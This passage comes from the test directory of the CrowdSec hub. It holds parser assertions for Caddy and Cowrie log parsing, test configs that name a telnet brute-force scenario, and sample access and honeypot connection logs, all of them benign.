request\",\"request\":{\"remote_ip\":\"172.17.0.1\",\"remote_port\":\"44256\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"localhost\",\"uri\":\"/?test=123&123=test\",\"headers\":{\"User-Agent\":[\"curl/7.82.0\"],\"Accept\":[\"*/*\"]}},\"user_id\":\"\",\"duration\":0.000148591,\"size\":12226,\"status\":200,\"resp_headers\":{\"Content-Length\":[\"12226\"],\"Server\":[\"Caddy\"],\"Etag\":[\"\\\"rjd8q99fm\\\"\"],\"Content-Type\":[\"text/html; charset=utf-8\"],\"Last-Modified\":[\"Fri, 07 Oct 2022 04:34:57 GMT\"],\"Accept-Ranges\":[\"bytes\"]}}" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Parsed["program"] == "caddy" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Parsed["remote_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["target_fqdn"] == "localhost" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["source_ip"] == "172.17.0.1" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["http_path"] == "/?test=123&123=test" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["http_user_agent"] == "curl/7.82.0" results["s01-parse"]["crowdsecurity/caddy-logs"][3].Evt.Meta["http_verb"] == "GET" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 4 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "caddy" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "4.3.2.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "20/Aug/2021:14:38:15 +0000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_user_agent"] == "curl/7.68.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "{\"level\":\"error\",\"ts\":1629470295.021685,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_addr\":\"4.3.2.1:56466\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"1.2.3.4\",\"uri\":\"/\",\"headers\":{\"User-Agent\":[\"curl/7.68.0\"],\"Accept\":[\"*/*\"]}},\"common_log\":\"4.3.2.1 - - [20/Aug/2021:14:38:15 +0000] \\\"GET / HTTP/1.1\\\" 401 0\",\"duration\":1.454630671,\"size\":0,\"status\":401,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Www-Authenticate\":[\"Basic realm=\\\"restricted\\\"\"]}}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_status"] == "401" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "4.3.2.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_fqdn"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2021-08-20T14:38:15Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_user_agent"] == "curl/7.68.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-08-20T14:38:15Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "06:59:36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["tz"] == "GMT" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["day"] == "Thu" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["month"] == "Apr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["request"] == "/client" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "Thu, 07 Apr 2022 06:59:36 GMT" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["verb"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "{\"level\":\"error\",\"ts\":1649314776.603171,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"28728\",\"proto\":\"HTTP/2.0\",\"method\":\"POST\",\"host\":\"www.bmunro.xyz\",\"uri\":\"/client\",\"headers\":{\"X-Forwarded-For\":[\"1.2.3.4\"],\"Cf-Ray\":[\"6f80e1a9bf8f3ea5-CPT\"],\"Content-Length\":[\"27\"],\"Origin\":[\"127.0.0.1\"],\"Cdn-Loop\":[\"cloudflare\"],\"Accept-Encoding\":[\"gzip\"],\"Accept\":[\"application/json, text/plain, */*\"],\"Authorization\":[],\"Sec-Ch-Ua-Platform\":[\"\\\"Windows\\\"\"],\"Sec-Fetch-Mode\":[\"cors\"],\"Referer\":[\"127.0.0.1/\"],\"Cf-Ipcountry\":[\"ZA\"],\"Cf-Visitor\":[\"{\\\"scheme\\\":\\\"https\\\"}\"],\"Sec-Ch-Ua\":[\"\\\"Chromium\\\";v=\\\"98\\\", \\\" Not A;Brand\\\";v=\\\"99\\\"\"],\"Content-Type\":[\"application/json\"],\"Sec-Fetch-Dest\":[\"empty\"],\"Cf-Connecting-Ip\":[\"1.2.3.4\"],\"X-Forwarded-Proto\":[\"https\"],\"Sec-Fetch-Site\":[\"same-origin\"],\"Accept-Language\":[\"en-GB,en-ZA;q=0.9,en-US;q=0.8,en;q=0.7\"],\"Cookie\":[],\"Sec-Ch-Ua-Mobile\":[\"?0\"],\"User-Agent\":[\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36\"]},\"tls\":{\"resumed\":false,\"version\":772,\"cipher_suite\":4865,\"proto\":\"h2\",\"server_name\":\"www.bmunro.xyz\"}},\"user_id\":\"\",\"duration\":0.000989896,\"size\":141,\"status\":401,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"application/json\"],\"Date\":[\"Thu, 07 Apr 2022 06:59:36 GMT\"],\"Content-Length\":[\"141\"]}}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["monthday"] == "07" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "caddy" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["remote_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_path"] == "/client" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["target_fqdn"] == "www.bmunro.xyz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-04-07T06:59:36Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_status"] == "401" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["http_verb"] == "POST" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-04-07T06:59:36Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == false results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == false len(results["s02-enrich"]["crowdsecurity/http-logs"]) == 4 results["s02-enrich"]["crowdsecurity/http-logs"][0].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_user_agent"] == "curl/7.68.0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["message"] == "{\"level\":\"error\",\"ts\":1629470295.021685,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_addr\":\"4.3.2.1:56466\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"1.2.3.4\",\"uri\":\"/\",\"headers\":{\"User-Agent\":[\"curl/7.68.0\"],\"Accept\":[\"*/*\"]}},\"common_log\":\"4.3.2.1 - - [20/Aug/2021:14:38:15 +0000] \\\"GET / HTTP/1.1\\\" 401 0\",\"duration\":1.454630671,\"size\":0,\"status\":401,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Www-Authenticate\":[\"Basic realm=\\\"restricted\\\"\"]}}" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["program"] == "caddy" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_dir"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["remote_addr"] == "4.3.2.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["request"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["timestamp"] == "20/Aug/2021:14:38:15 +0000" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["timestamp"] == "2021-08-20T14:38:15Z" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_user_agent"] == "curl/7.68.0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_args_len"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_path"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_status"] == "401" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["source_ip"] == "4.3.2.1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["target_fqdn"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Enriched["MarshaledTime"] == "2021-08-20T14:38:15Z" results["s02-enrich"]["crowdsecurity/http-logs"][1].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_frag"] == "client" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_name"] == "client" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["file_dir"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["message"] == "{\"level\":\"error\",\"ts\":1649314776.603171,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"127.0.0.1\",\"remote_port\":\"28728\",\"proto\":\"HTTP/2.0\",\"method\":\"POST\",\"host\":\"www.bmunro.xyz\",\"uri\":\"/client\",\"headers\":{\"X-Forwarded-For\":[\"1.2.3.4\"],\"Cf-Ray\":[\"6f80e1a9bf8f3ea5-CPT\"],\"Content-Length\":[\"27\"],\"Origin\":[\"127.0.0.1\"],\"Cdn-Loop\":[\"cloudflare\"],\"Accept-Encoding\":[\"gzip\"],\"Accept\":[\"application/json, text/plain, */*\"],\"Authorization\":[],\"Sec-Ch-Ua-Platform\":[\"\\\"Windows\\\"\"],\"Sec-Fetch-Mode\":[\"cors\"],\"Referer\":[\"127.0.0.1/\"],\"Cf-Ipcountry\":[\"ZA\"],\"Cf-Visitor\":[\"{\\\"scheme\\\":\\\"https\\\"}\"],\"Sec-Ch-Ua\":[\"\\\"Chromium\\\";v=\\\"98\\\", \\\" Not A;Brand\\\";v=\\\"99\\\"\"],\"Content-Type\":[\"application/json\"],\"Sec-Fetch-Dest\":[\"empty\"],\"Cf-Connecting-Ip\":[\"1.2.3.4\"],\"X-Forwarded-Proto\":[\"https\"],\"Sec-Fetch-Site\":[\"same-origin\"],\"Accept-Language\":[\"en-GB,en-ZA;q=0.9,en-US;q=0.8,en;q=0.7\"],\"Cookie\":[],\"Sec-Ch-Ua-Mobile\":[\"?0\"],\"User-Agent\":[\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36\"]},\"tls\":{\"resumed\":false,\"version\":772,\"cipher_suite\":4865,\"proto\":\"h2\",\"server_name\":\"www.bmunro.xyz\"}},\"user_id\":\"\",\"duration\":0.000989896,\"size\":141,\"status\":401,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Content-Type\":[\"application/json\"],\"Date\":[\"Thu, 07 Apr 2022 06:59:36 GMT\"],\"Content-Length\":[\"141\"]}}" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["monthday"] == "07" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["verb"] == "POST" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["day"] == "Thu" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["program"] == "caddy" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["request"] == "/client" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["timestamp"] == "Thu, 07 Apr 2022 06:59:36 GMT" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["tz"] == "GMT" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["month"] == "Apr" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["remote_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Parsed["time"] == "06:59:36" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_path"] == "/client" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_status"] == "401" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.141 Safari/537.36" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["target_fqdn"] == "www.bmunro.xyz" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["timestamp"] == "2022-04-07T06:59:36Z" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_args_len"] == "0" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["http_verb"] == "POST" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][1].Evt.Enriched["MarshaledTime"] == "2022-04-07T06:59:36Z" results["s02-enrich"]["crowdsecurity/http-logs"][2].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["request"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["file_dir"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["http_user_agent"] == "curl/7.82.0" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["message"] == "{\"level\":\"info\",\"ts\":1672221106.8667448,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"172.17.0.1\",\"remote_port\":\"44746\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"localhost\",\"uri\":\"/?test=123\",\"headers\":{\"User-Agent\":[\"curl/7.82.0\"],\"Accept\":[\"*/*\"]}},\"user_id\":\"\",\"duration\":0.000114941,\"size\":12226,\"status\":200,\"resp_headers\":{\"Server\":[\"Caddy\"],\"Etag\":[\"\\\"rjd8q99fm\\\"\"],\"Content-Type\":[\"text/html; charset=utf-8\"],\"Last-Modified\":[\"Fri, 07 Oct 2022 04:34:57 GMT\"],\"Accept-Ranges\":[\"bytes\"],\"Content-Length\":[\"12226\"]}}" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["program"] == "caddy" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["remote_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Parsed["http_args"] == "test=123" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["http_args_len"] == "8" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["http_path"] == "/?test=123" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["http_user_agent"] == "curl/7.82.0" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][2].Evt.Meta["target_fqdn"] == "localhost" results["s02-enrich"]["crowdsecurity/http-logs"][3].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["message"] == "{\"level\":\"info\",\"ts\":1672221134.5412338,\"logger\":\"http.log.access.log0\",\"msg\":\"handled request\",\"request\":{\"remote_ip\":\"172.17.0.1\",\"remote_port\":\"44256\",\"proto\":\"HTTP/1.1\",\"method\":\"GET\",\"host\":\"localhost\",\"uri\":\"/?test=123&123=test\",\"headers\":{\"User-Agent\":[\"curl/7.82.0\"],\"Accept\":[\"*/*\"]}},\"user_id\":\"\",\"duration\":0.000148591,\"size\":12226,\"status\":200,\"resp_headers\":{\"Content-Length\":[\"12226\"],\"Server\":[\"Caddy\"],\"Etag\":[\"\\\"rjd8q99fm\\\"\"],\"Content-Type\":[\"text/html; charset=utf-8\"],\"Last-Modified\":[\"Fri, 07 Oct 2022 04:34:57 GMT\"],\"Accept-Ranges\":[\"bytes\"]}}" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["http_args"] == "test=123&123=test" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["http_user_agent"] == "curl/7.82.0" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["program"] == "caddy" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["remote_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["request"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Parsed["file_dir"] == "/" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["http_path"] == "/?test=123&123=test" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["http_status"] == "200" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["http_user_agent"] == "curl/7.82.0" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["target_fqdn"] == "localhost" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["datasource_path"] == "caddy-logs.log" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["http_args_len"] == "17" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][3].Evt.Meta["source_ip"] == "172.17.0.1" len(results["success"][""]) == 0hub1/.tests/cowrie-logs/000077500000000000000000000000001437532772500154065ustar00rootroot00000000000000hub1/.tests/cowrie-logs/config.yaml000066400000000000000000000002401437532772500175330ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/cowrie-logs scenarios: - "" postoverflows: - "" collections: [] log_file: cowrie-logs.log log_type: cowrie hub1/.tests/cowrie-logs/cowrie-logs.log000066400000000000000000000005531437532772500203460ustar00rootroot00000000000000Dec 8 06:28:43 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:43+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 4.2.3.1:47630 (1.2.3.4:2222) [session: 3e5a9212b91f] Dec 8 06:28:44 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:44+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 1.1.1.1:47631 (1.2.3.4:2222) [session: 3e5a9212s1f] hub1/.tests/cowrie-logs/parser.assert000066400000000000000000000046711437532772500201350ustar00rootroot00000000000000len(results["s01-parse"]["cowrie-logs"]) == 2 results["s01-parse"]["cowrie-logs"][0].Success == true results["s01-parse"]["cowrie-logs"][0].Evt.Parsed["dest_ip"] == "1.2.3.4" results["s01-parse"]["cowrie-logs"][0].Evt.Parsed["dest_port"] == "2222" results["s01-parse"]["cowrie-logs"][0].Evt.Parsed["message"] == "Dec 8 06:28:43 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:43+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 4.2.3.1:47630 (1.2.3.4:2222) [session: 3e5a9212b91f]" results["s01-parse"]["cowrie-logs"][0].Evt.Parsed["program"] == "cowrie" results["s01-parse"]["cowrie-logs"][0].Evt.Parsed["source_ip"] == "4.2.3.1" results["s01-parse"]["cowrie-logs"][0].Evt.Parsed["telnet_session"] == "3e5a9212b91f" results["s01-parse"]["cowrie-logs"][0].Evt.Meta["source_ip"] == "4.2.3.1" results["s01-parse"]["cowrie-logs"][0].Evt.Meta["datasource_path"] == "cowrie-logs.log" results["s01-parse"]["cowrie-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["cowrie-logs"][0].Evt.Meta["dest_ip"] == "1.2.3.4" results["s01-parse"]["cowrie-logs"][0].Evt.Meta["dest_port"] == "2222" results["s01-parse"]["cowrie-logs"][0].Evt.Meta["log_type"] == "telnet_new_session" results["s01-parse"]["cowrie-logs"][0].Evt.Meta["service"] == "telnet" results["s01-parse"]["cowrie-logs"][1].Success == true results["s01-parse"]["cowrie-logs"][1].Evt.Parsed["dest_ip"] == "1.2.3.4" results["s01-parse"]["cowrie-logs"][1].Evt.Parsed["dest_port"] == "2222" results["s01-parse"]["cowrie-logs"][1].Evt.Parsed["message"] == "Dec 8 06:28:44 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:44+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 1.1.1.1:47631 (1.2.3.4:2222) [session: 3e5a9212s1f]" results["s01-parse"]["cowrie-logs"][1].Evt.Parsed["program"] == "cowrie" results["s01-parse"]["cowrie-logs"][1].Evt.Parsed["source_ip"] == "1.1.1.1" results["s01-parse"]["cowrie-logs"][1].Evt.Parsed["telnet_session"] == "3e5a9212s1f" results["s01-parse"]["cowrie-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["cowrie-logs"][1].Evt.Meta["dest_ip"] == "1.2.3.4" results["s01-parse"]["cowrie-logs"][1].Evt.Meta["dest_port"] == "2222" results["s01-parse"]["cowrie-logs"][1].Evt.Meta["log_type"] == "telnet_new_session" results["s01-parse"]["cowrie-logs"][1].Evt.Meta["service"] == "telnet" results["s01-parse"]["cowrie-logs"][1].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["cowrie-logs"][1].Evt.Meta["datasource_path"] == "cowrie-logs.log" hub1/.tests/cowrie_telnet-bf/000077500000000000000000000000001437532772500164045ustar00rootroot00000000000000hub1/.tests/cowrie_telnet-bf/config.yaml000066400000000000000000000003401437532772500205320ustar00rootroot00000000000000parsers: - crowdsecurity/cowrie-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/telnet-bf postoverflows: - "" log_file: cowrie_telnet-bf.log log_type: syslog ignore_parsers: true hub1/.tests/cowrie_telnet-bf/cowrie_telnet-bf.log000066400000000000000000000020761437532772500223440ustar00rootroot00000000000000Dec 8 06:28:44 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:44+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 1.1.1.1:47631 (1.2.3.4:2222) [session: 3e5a9212s1f] Dec 8 06:28:44 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:44+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 1.1.1.1:47631 (1.2.3.4:2222) [session: 3e5a9212s1f] Dec 8 06:28:44 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:44+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 1.1.1.1:47631 (1.2.3.4:2222) [session: 3e5a9212s1f] Dec 8 06:28:44 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:44+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 1.1.1.1:47631 (1.2.3.4:2222) [session: 3e5a9212s1f] Dec 8 06:28:44 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:44+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 1.1.1.1:47631 (1.2.3.4:2222) [session: 3e5a9212s1f] Dec 8 06:28:44 ip.compute.internal cowrie[2806]: 2020-12-08T06:28:44+0000 [cowrie.ssh.factory.CowrieSSHFactory] New connection: 1.1.1.1:47631 